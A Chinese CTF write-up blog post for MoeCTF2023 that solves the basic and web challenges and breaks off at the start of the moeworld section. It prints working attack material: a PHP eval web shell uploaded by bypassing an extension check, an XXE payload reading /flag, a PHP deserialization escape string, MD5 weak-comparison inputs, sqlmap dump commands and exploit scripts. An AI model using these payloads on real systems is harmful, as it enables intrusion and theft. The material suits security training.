目录

  1. 1. 前言
  2. 2. 签到
  3. 3. Basic
    1. 3.1. CCCCC
    2. 3.2. Python
    3. 3.3. runme
    4. 3.4. runme2
  4. 4. Web
    1. 4.1. http
    2. 4.2. Web入门指北
    3. 4.3. cookie
    4. 4.4. 彼岸的flag
    5. 4.5. gas!gas!gas!
    6. 4.6. moe图床
    7. 4.7. 了解你的座驾
    8. 4.8. 大海捞针
    9. 4.9. meo图床
    10. 4.10. 夺命十三枪
    11. 4.11. signin
    12. 4.12. 出去旅游的心海
    13. 4.13. moeworld
      1. 4.13.1. 外网部分
      2. 4.13.2. 内网部分(未完成)
  5. 5. Jail
    1. 5.1. Jail Level 0
    2. 5.2. Jail Level 1
    3. 5.3. Jail Level 2
    4. 5.4. Jail Level 3
    5. 5.5. Jail Level 4
    6. 5.6. Jail Level 5(未完成)
    7. 5.7. Leak Level 0
    8. 5.8. Leak Level 1

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

MoeCTF2023

2023/8/15 CTF线上赛
  |     |   总文章阅读量:

前言

学了一年的fw老东西狠狠地摸,顺便尝试尝试新方向

结果差点忘了这个的结束日期,最后只打了web(12.5/13)和jail

签到

直接复制网址即可得到flag:moectf{We1com3_t0_m0ectf_2o23!!!}


Basic

CCCCC

#include<stdio.h>
#include<string.h>
int main()
{
  //unsigned char flag[]="moectf{HAHA_C_1s_easy!}";
  unsigned char enc_data[]="mng`pc}OIAKTOR?|Ots`m4k",flag[23];
  int i;
  for( i=0;i<strlen(enc_data);i++)
  {
    flag[i]=enc_data[i]^i;	// 按位异或
  }
  puts(flag);
  return 0;
}

Python

enc1=[158, 156, 150, 144, 135, 149, 136, 163, 138, 135, 155, 195, 157, 172, 194, 137, 172, 195, 134, 129, 172, 148, 195, 195, 151, 172, 149, 129, 154, 150, 157, 151, 137, 142]	# Ascii值
x=lambda x:x^0xff	# 匿名方法:与0xff进行异或
enc2=[]
for i in enc1:
  enc2.append(x(i))	# 进行异或
key="moectf2023"
flag=""
for i in range(len(enc2)):
    flag+=chr(((0xf3)&(enc2[i])|((enc2[i])^0xff)&0xc))
print(flag)
  • (0xf3) & (enc2[i]) 对解密后的值与 0xf3 进行按位与运算,保留某些特定位的值。

  • ((enc2[i]) ^ 0xff) & 0xc 对解密后的值取反后,再与 0xc 进行按位与运算,保留某些特定位的值。

  • ((0xf3) & (enc2[i])) | (((enc2[i]) ^ 0xff) & 0xc) 将上述两个结果进行按位或运算,得到最终的值。

  • chr() 函数将最终的值转换为对应的字符。

  • flag += 用于将转换后的字符追加到 flag 字符串中。

运行得到flag:moectf{Pyth0n_1z_0ur_g00d_friendz}

runme

在对应的文件夹下打开cmd,输入程序名字即可执行保留结果

image-20231011232248537


runme2

整个linux系统(虚拟机或者wsl),打开终端

先给个执行权限,然后就可以运行了

chmod +x ./runme2
./runme2

image-20231011232933438


Web

http

照着提示做就行

image-20230815162736784

flag:

moectf{basic_http_knowledge_Ak86CvfMV31YLT7ih6U_UoJDZKVa3UFX}


Web入门指北

十六进制+base64

flag:

moectf{w3lCome_To_moeCTF_W2b_challengE!!}


下载附件,得到api接口

进入题目,先访问/flag这个api看看,返回了"flag{you_should_login_first_to_get_the_flag}"

也就是我们要先登录才能拿到flag

访问/register抓包一手,按readme文档里面的json格式post发包进行注册

image-20230816181759307

注意Content-type要改为json

然后访问/login

image-20230816181913414

得到我们需要的cookie值

带着这个cookie值去/flag

image-20230816182242033

返回flag{sorry_but_you_are_not_admin},说明我们要以管理员登录才能获得flag

照上面的流程注册一个admin的账号

然后会发现账号已存在,这个时候我们先把cookie拿出来解码看看

image-20230816183308088

发现base64解码后能得到一串json

猜测就是靠这个判断是否是admin的,那我们只要把"role": "user"改成"role": "admin"再base64编码回去即可

image-20230816183541838

image-20230816183523683

flag:

moectf{cooKi3_is_d3licious_MA9iVff90SSJ!!M6Mrfu9ifxi9i!JGofMJ36D9cPMxro}


彼岸的flag

连接容器,发现给了我个本地localhost页面

是一个聊天记录页面,结合题目描述说的在聊天平台泄露了flag

直接ctrl+u查看页面html源码

image-20230817215227426

找到flag

moectf{find_comments_X7rT9Wp4oxhbmrS25ESL1RTnbXGcfrfU}


gas!gas!gas!

python脚本

要求0.5s就得做出反应,要么是伪造session要么是脚本代跑

f12在前端中找到对应的id属性

<form action="/" method="POST">
    <label for="driver">选手:</label>
    <input type="text" id="driver" name="driver" required><br><br>

    <label for="steering_control">方向控制:</label>
    <select id="steering_control" name="steering_control" required>
        <option value="-1"></option>
        <option value="0" selected>直行</option>
        <option value="1"></option>
    </select><br><br>

    <label for="throttle">油门控制:</label>
    <select id="throttle" name="throttle" required>
        <option value="0">松开</option>
        <option value="1">保持</option>
        <option value="2" selected>全开</option>
    </select><br><br>

因为每次对时间的判定是用session决定的,在不知道session的key的情况下我们不能进行伪造

只能写脚本照做,多跟gpt交流交流(

exp:

import requests
import re

url = "http://localhost:5528"
headers = {"Content-Type":"application/x-www-form-urlencoded"}
s = requests.session()

res = s.post(
    url=url,
    data='driver=0w0&steering_control=0&throttle=2',
    headers=headers)

print(re.findall(r'<h3><font color="red">(.*)</font></h3></div>',res.text)[0])

steering_control = 0
throttle = 0

for _ in range(6):
    if "弯道向左" in res.text:
        steering_control = 1
    if "弯道直行" in res.text:
        steering_control = 0
    if "弯道向右" in res.text:
        steering_control = -1
    if "抓地力太小了" in res.text:
        throttle = 0
    if "保持这个速度" in res.text:
        throttle = 1
    if "抓地力太大了" in res.text:
        throttle = 2
    print(f'{steering_control =}')
    print(f'{throttle =}')

    res = s.post(
        url=url,
        data=f'driver=0w0&steering_control={steering_control}&throttle={throttle}',
        headers=headers
    )
    print(res.text)

flag:moectf{Beautiful_Drifting!!_g5jA_PtonlwsneM9qV-Vvnmt33vby6Uy}


moe图床

文件上传前端绕过

前端js

function uploadFile() {
    const fileInput = document.getElementById('fileInput');
    const file = fileInput.files[0];

    if (!file) {
        alert('请选择一个文件进行上传!');
        return;
    }

    const allowedExtensions = ['png'];
    const fileExtension = file.name.split('.').pop().toLowerCase();
    if (!allowedExtensions.includes(fileExtension)) {
        alert('只允许上传后缀名为png的文件!');
        return;
    }

    const formData = new FormData();
    formData.append('file', file);

    fetch('upload.php', {
        method: 'POST',
        body: formData
    })
        .then(response => response.json())
        .then(result => {
            if (result.success) {
                const uploadResult = document.getElementById('uploadResult');
                const para = document.createElement('p');
                para.textContent = ('地址:');
                const link = document.createElement('a');
                link.textContent = result.file_path;
                link.href = result.file_path;
                link.target = '_blank';
                para.append(link);
                uploadResult.appendChild(para);

                alert('文件上传成功!');
            } else {
                alert('文件上传失败:' + result.message);
            }
        })
        .catch(error => {
            console.error('文件上传失败:', error);
        });
}

审计一下可以发现判断png的部分是用file.name.split('.').pop().toLowerCase();

通过调用 split('.') 方法,将文件名以点号作为分隔符拆分成一个数组。然后,使用 pop() 方法获取数组中的最后一个元素,也就是文件的扩展名。最后,使用 toLowerCase() 方法将扩展名转换为小写。

也就是说这个判断只识别一个.png,我们可以在后面再加入.php实现绕过

上传我们的马

<?=eval($_POST["cmd"]);?>

image-20231011223636532

这样就上传成功getshell了

image-20231011224024903


了解你的座驾

xml注入

可以发现post的数据里面存在xml注入点

image-20231011224305892

对应一下标签,直接注入即可,记得先url编码一下再传

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///flag" >]><xml><name>&xxe;</name></xml>

payload:

%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%3C!DOCTYPE%20xxe%20%5B%3C!ELEMENT%20name%20ANY%20%3E%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%20%3E%5D%3E%3Cxml%3E%3Cname%3E%26xxe%3B%3C%2Fname%3E%3C%2Fxml%3E

image-20231011225752989


大海捞针

burpsuite爆破

题目描述:use /?id=<1-1000> to connect to different parallel universes

也就是我们只需要爆破出正确的id值就可以得到flag了,burpsuite启动

抓包发到攻击器Intruder

image-20231011230545891

image-20231011230615735

image-20231011230750611

访问?id=163的页面,ctrl+u查看页面源码,找到flag:moectf{script_helps_ULOZw7NrjEIKRZ4V}


meo图床

文件上传+文件包含+php特性

先上传一个图片马,告诉我们只允许上传图片文件(JPEG、PNG 或 GIF),猜测会检测图片头

那就上传一个带有图片头的马,抓包改后缀为php,上传成功,尝试执行命令但是发现没解析

查看图片发现存在文件包含/images.php?name=

尝试直接读根目录的flag

image-20231012091818125

得到hint:Fl3g_n0t_Here_dont_peek!!!!!.php

直接访问

<?php
highlight_file(__FILE__);

if (isset($_GET['param1']) && isset($_GET['param2'])) {
    $param1 = $_GET['param1'];
    $param2 = $_GET['param2'];

    if ($param1 !== $param2) {
        
        $md5Param1 = md5($param1);
        $md5Param2 = md5($param2);

        if ($md5Param1 == $md5Param2) {
            echo "O.O!! " . getenv("FLAG");
        } else {
            echo "O.o??";
        }
    } else {
        echo "o.O?";
    }
} else {
    echo "O.o?";
}
?>

md5弱类型比较

payload:

/Fl3g_n0t_Here_dont_peek!!!!!.php?param1=QNKCDZO&param2=240610708

夺命十三枪

反序列化字符串逃逸

<?php
highlight_file(__FILE__);

require_once('Hanxin.exe.php');

$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';

$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);

$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';

try{
    echo unserialize($after);
}catch (Exception $e) {
    echo "Even Caused A Glitch...";
}
?> 

Hanxin.exe.php

<?php
if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
    highlight_file(__FILE__);
}

class Deadly_Thirteen_Spears{
    private static $Top_Secret_Long_Spear_Techniques_Manual = array(
        "di_yi_qiang" => "Lovesickness",
        "di_er_qiang" => "Heartbreak",
        "di_san_qiang" => "Blind_Dragon",
        "di_si_qiang" => "Romantic_charm",
        "di_wu_qiang" => "Peerless",
        "di_liu_qiang" => "White_Dragon",
        "di_qi_qiang" => "Penetrating_Gaze",
        "di_ba_qiang" => "Kunpeng",
        "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
        "di_shi_qiang" => "Overlord",
        "di_shi_yi_qiang" => "Letting_Go",
        "di_shi_er_qiang" => "Decisive_Victory",
        "di_shi_san_qiang" => "Unrepentant_Lethality"
    );

    public static function Make_a_Move($move){
        foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
            $move = str_replace($index, $movement, $move);
        }
        return $move;
    }
}

class Omg_It_Is_So_Cool_Bring_Me_My_Flag{

    public $Chant = '';
    public $Spear_Owner = 'Nobody';

    function __construct($chant){
        $this->Chant = $chant;
        $this->Spear_Owner = 'Nobody';
    }

    function __toString(){
        if($this->Spear_Owner !== 'MaoLei'){
            return 'Far away from COOL...';
        }
        else{
            return "Omg You're So COOOOOL!!! " . getenv('FLAG');
        }
    }
}
?>

思路很明显,让$Spear_Owner的值为MaoLei即可获得flag,这里$Spear_Owner的值在Omg_It_Is_So_Cool_Bring_Me_My_Flag类里被写死了

但是在Deadly_Thirteen_Spears::Make_a_Move方法中存在str_replace方法,也就是说我们可以利用字符串逃逸的方式让$Spear_Owner的值为MaoLei

那么我们的目的就是构造逃逸字符串在后面插入";s:11:"Spear_Owner";s:6:"MaoLei";}进行闭合,这里长度为35

在上面的$Top_Secret_Long_Spear_Techniques_Manual数组中寻找合适的字符串进行替换,可以找到"" => "Penetrating_Gaze",长度从11变成16,每次增加5个长度,那么重复7次即可逃逸

payload:

?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

image-20231012105008077


signin

python代码审计

from secrets import users, salt
import hashlib
import base64
import json
import http.server

with open("flag.txt","r") as f:
    FLAG = f.read().strip()

def gethash(*items):
    c = 0
    for item in items:
        if item is None:
            continue
        c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
    return hex(c)[2:]

assert "admin" in users
assert users["admin"] == "admin"

hashed_users = dict((k,gethash(k,v)) for k,v in users.items())

eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?
    
def decrypt(data:str):
        for x in range(5):
            data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?
        return data

__page__ = base64.b64encode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT5zaWduaW48L3RpdGxlPgogICAgPHNjcmlwdD4KICAgICAgICBbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoK3t9K1tdKVsrISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXVtbXV0rW10pWytbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoW10rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKVshK1tdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKShbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXSshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyhbXStbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKCFbXStbXSlbIStbXSshIVtdXSsoW10re30pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSkpWyErW10rISFbXSshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0pKCErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKChbXSt7fSlbK1tdXSlbK1tdXSsoIStbXSshIVtdKyEhW10rW10pKyhbXVtbXV0rW10pWyErW10rISFbXV0pKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXSt7fSlbKyEhW11dKygre30rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSkKICAgICAgICB2YXIgXzB4ZGI1ND1bJ3N0cmluZ2lmeScsJ2xvZycsJ3Bhc3N3b3JkJywnL2xvZ2luJywnUE9TVCcsJ2dldEVsZW1lbnRCeUlkJywndGhlbiddO3ZhciBfMHg0ZTVhPWZ1bmN0aW9uKF8weGRiNTRmYSxfMHg0ZTVhOTQpe18weGRiNTRmYT1fMHhkYjU0ZmEtMHgwO3ZhciBfMHg0ZDhhNDQ9XzB4ZGI1NFtfMHhkYjU0ZmFdO3JldHVybiBfMHg0ZDhhNDQ7fTt3aW5kb3dbJ2FwaV9iYXNlJ109Jyc7ZnVuY3Rpb24gbG9naW4oKXtjb25zb2xlW18weDRlNWEoJzB4MScpXSgnbG9naW4nKTt2YXIgXzB4NWYyYmViPWRvY3VtZW50W18weDRlNWEoJzB4NScpXSgndXNlcm5hbWUnKVsndmFsdWUnXTt2YXIgXzB4NGZkMjI2PWRvY3VtZW50W18weDRlNWEoJzB4NScpXShfMHg0ZTVhKCcweDInKSlbJ3ZhbHVlJ107dmFyIF8weDFjNjFkOT1KU09OW18weDRlNWEoJzB4MCcpXSh7J3VzZXJuYW1lJzpfMHg1ZjJiZWIsJ3Bhc3N3b3JkJzpfMHg0ZmQyMjZ9KTt2YXIgXzB4MTBiOThlPXsncGFyYW1zJzphdG9iKGF0b2IoYXRvYihhdG9iKGF0b2IoXzB4MWM2MWQ5KSkpKSl9O2ZldGNoKHdpbmRvd1snYXBpX2Jhc2UnXStfMHg0ZTVhKCcweDMnKSx7J21ldGhvZCc6XzB4NGU1YSgnMHg0JyksJ2JvZHknOkpTT05bXzB4NGU1YSgnMHgwJyldKF8weDEwYjk4ZSl9KVtfMHg0ZTVhKCcweDYnKV0oZnVuY3Rpb24oXzB4Mjk5ZDRkKXtjb25zb2xlW18weDRlNWEoJzB4MScpXShfMHgyOTlkNGQpO30pO30KICAgIDwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPmV6U2lnbmluPC9oMT4KICAgIDxwPlNpZ24gaW4gdG8geW91ciBhY2NvdW50PC9wPgogICAgPHA+ZGVmYXVsdCB1c2VybmFtZSBhbmQgcGFzc3dvcmQgaXMgYWRtaW4gYWRtaW48L3A+CiAgICA8cD5Hb29kIEx1Y2shPC9wPgoKICAgIDxwPgogICAgICAgIHVzZXJuYW1lIDxpbnB1dCBpZD0idXNlcm5hbWUiPgogICAgPC9wPgogICAgPHA+CiAgICAgICAgcGFzc3dvcmQgPGlucHV0IGlkPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiPgogICAgPC9wPgogICAgPGJ1dHRvbiBpZCA9ICJsb2dpbiI+CiAgICAgICAgTG9naW4KICAgIDwvYnV0dG9uPgo8L2JvZHk+CjxzY3JpcHQ+CiAgICBjb25zb2xlLmxvZygiaGVsbG8/IikKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2dpbiIpLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgbG9naW4pOwo8L3NjcmlwdD4KPC9odG1sPg==")
        
class MyHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        try:
            if self.path == "/":
                self.send_response(200)
                self.end_headers()
                self.wfile.write(__page__)
            else:
                self.send_response(404)
                self.end_headers()
                self.wfile.write(b"404 Not Found")
        except Exception as e:
            print(e)
            self.send_response(500)
            self.end_headers()
            self.wfile.write(b"500 Internal Server Error")

    def do_POST(self):
        try:
            if self.path == "/login":
                body = self.rfile.read(int(self.headers.get("Content-Length")))
                payload = json.loads(body)
                params = json.loads(decrypt(payload["params"]))
                print(params)
                if params.get("username") == "admin":
                    self.send_response(403)
                    self.end_headers()
                    self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")
                    print("admin")
                    return
                if params.get("username") == params.get("password"):
                    self.send_response(403)
                    self.end_headers()
                    self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
                    print("same")
                    return
                hashed = gethash(params.get("username"),params.get("password"))
                for k,v in hashed_users.items():
                    if hashed == v:
                        data = {
                            "user":k,
                            "hash":hashed,
                            "flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
                        }
                        self.send_response(200)
                        self.end_headers()
                        self.wfile.write(json.dumps(data).encode())
                        print("success")
                        return
                self.send_response(403)
                self.end_headers()
                self.wfile.write(b"Invalid username or password")
            else:
                self.send_response(404)
                self.end_headers()
                self.wfile.write(b"404 Not Found")
        except Exception as e:
            print(e)
            self.send_response(500)
            self.end_headers()
            self.wfile.write(b"500 Internal Server Error")

if __name__ == "__main__":
    server = http.server.HTTPServer(("", 9999), MyHandler)
    server.serve_forever()

先审计一下代码,要想得到flag就要以admin登录,默认的用户名和密码都是admin,但是上面的if判断又要求我们的username不能为admin,同时username的值又不能等于password的值

我们直接看这段代码

hashed = gethash(params.get("username"),params.get("password"))
                for k,v in hashed_users.items():
                    if hashed == v:
                        data = {
                            "user":k,
                            "hash":hashed,
                            "flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
                        }
                        self.send_response(200)
                        self.end_headers()
                        self.wfile.write(json.dumps(data).encode())
                        print("success")
                        return

这里判断是否是admin是经过了gethash方法处理的,跟踪到gethash方法

def gethash(*items):
    c = 0
    for item in items:
        if item is None:
            continue
        c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
    return hex(c)[2:]

仔细观察可以发现,当传入的参数items为2个时,该函数等价于求两个参数的异或值并返回
所以当两个参数相等时,不管该参数为何值,返回值都为0

这样子对于hashed = gethash(params.get("username"),params.get("password")),hashed的值是可控为0的

而对于

assert "admin" in users
assert users["admin"] == "admin"

hashed_users = dict((k,gethash(k,v)) for k,v in users.items())

image-20231012114109787

这样子v也是可控为0的,从而使hashed == v成立,而k为admin,也使k == "admin"成立,从而得到flag

再看下面那串eval的代码,复制过来跑一下看看是什么意思

image-20231012112141301

for base64.b64encode in [base64.b64decode],说明这里把base64.b64encode覆写成了base64.b64decode

所以接下来的

def decrypt(data:str):
        for x in range(5):
            data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?
        return data

其实是对传入的数据进行了5次base64解码

而这个decrypt方法会在底下的参数解析中用到:params = json.loads(decrypt(payload["params"]))

结合上述的内容,编写脚本即可,注意username需要套一层引号

exp:

import requests
import base64

url = "http://localhost:10566/login"
username = "\"1\""
password = "1"
jsondata = "{\"username\":" + f"{username}" + ",\"password\":" + f"{password}" + "}"
print(f"{jsondata = }")
for _ in range(5):
    jsondata = base64.b64encode(str(jsondata).encode()).decode()
data = "{\"params\":\"" + f"{jsondata}\"" + "}"
print(f"{data = }")
req = requests.post(url=url, data=data).text
print(f"{req = }")

image-20231012114521271

PS:新生真的会做这种东西吗。。。


出去旅游的心海

sql报错注入

根目录的flag是假的,直接进wordpress看看

给了个博客界面,发现存在一个php脚本

image-20231012114927068

双击访问

<?php
/*
Plugin Name: Visitor auto recorder
Description: Automatically record visitor's identification, still in development, do not use in industry environment!
Author: KoKoMi
  Still in development! :)
*/

// 不许偷看!这些代码我还在调试呢!
highlight_file(__FILE__);

// 加载数据库配置,暂时用硬编码绝对路径
require_once('/var/www/html/wordpress/' . 'wp-config.php');

$db_user = DB_USER; // 数据库用户名
$db_password = DB_PASSWORD; // 数据库密码
$db_name = DB_NAME; // 数据库名称
$db_host = DB_HOST; // 数据库主机

// 我记得可以用wp提供的global $wpdb来操作数据库,等旅游回来再研究一下
// 这些是临时的代码

$ip = $_POST['ip'];
$user_agent = $_POST['user_agent'];
$time = stripslashes($_POST['time']);

$mysqli = new mysqli($db_host, $db_user, $db_password, $db_name);

// 检查连接是否成功
if ($mysqli->connect_errno) {
    echo '数据库连接失败: ' . $mysqli->connect_error;
    exit();
}

$query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)";

// 执行插入
$result = mysqli_query($mysqli, $query);

// 检查插入是否成功
if ($result) {
    echo '数据插入成功';
} else {
    echo '数据插入失败: ' . mysqli_error($mysqli);
}

// 关闭数据库连接
mysqli_close($mysqli);

//gpt真好用

最底下输出了”数据插入失败: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘03:47:50)’ at line 1”

猜测存在报错注入,测试一下发现注入点在time

直接sqlmap梭了

python3 sqlmap.py -u "http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php" --data "time=1" --dbs

python3 sqlmap.py -u "http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php" --data "time=1" -D wordpress --tables

python3 sqlmap.py -u "http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php" --data "time=1" -D wordpress -T secret_of_kokomi --dump

flag:moectf{Dig_Thr0ugh_Eve2y_C0de_3nd_Poss1bIlIti3s!!}


moeworld

真实渗透

外网部分

先随便注册个账号登录进去看看

image-20231013110658694

是flask框架,采用session密钥进行登录验证

看起来需要伪造session登录admin

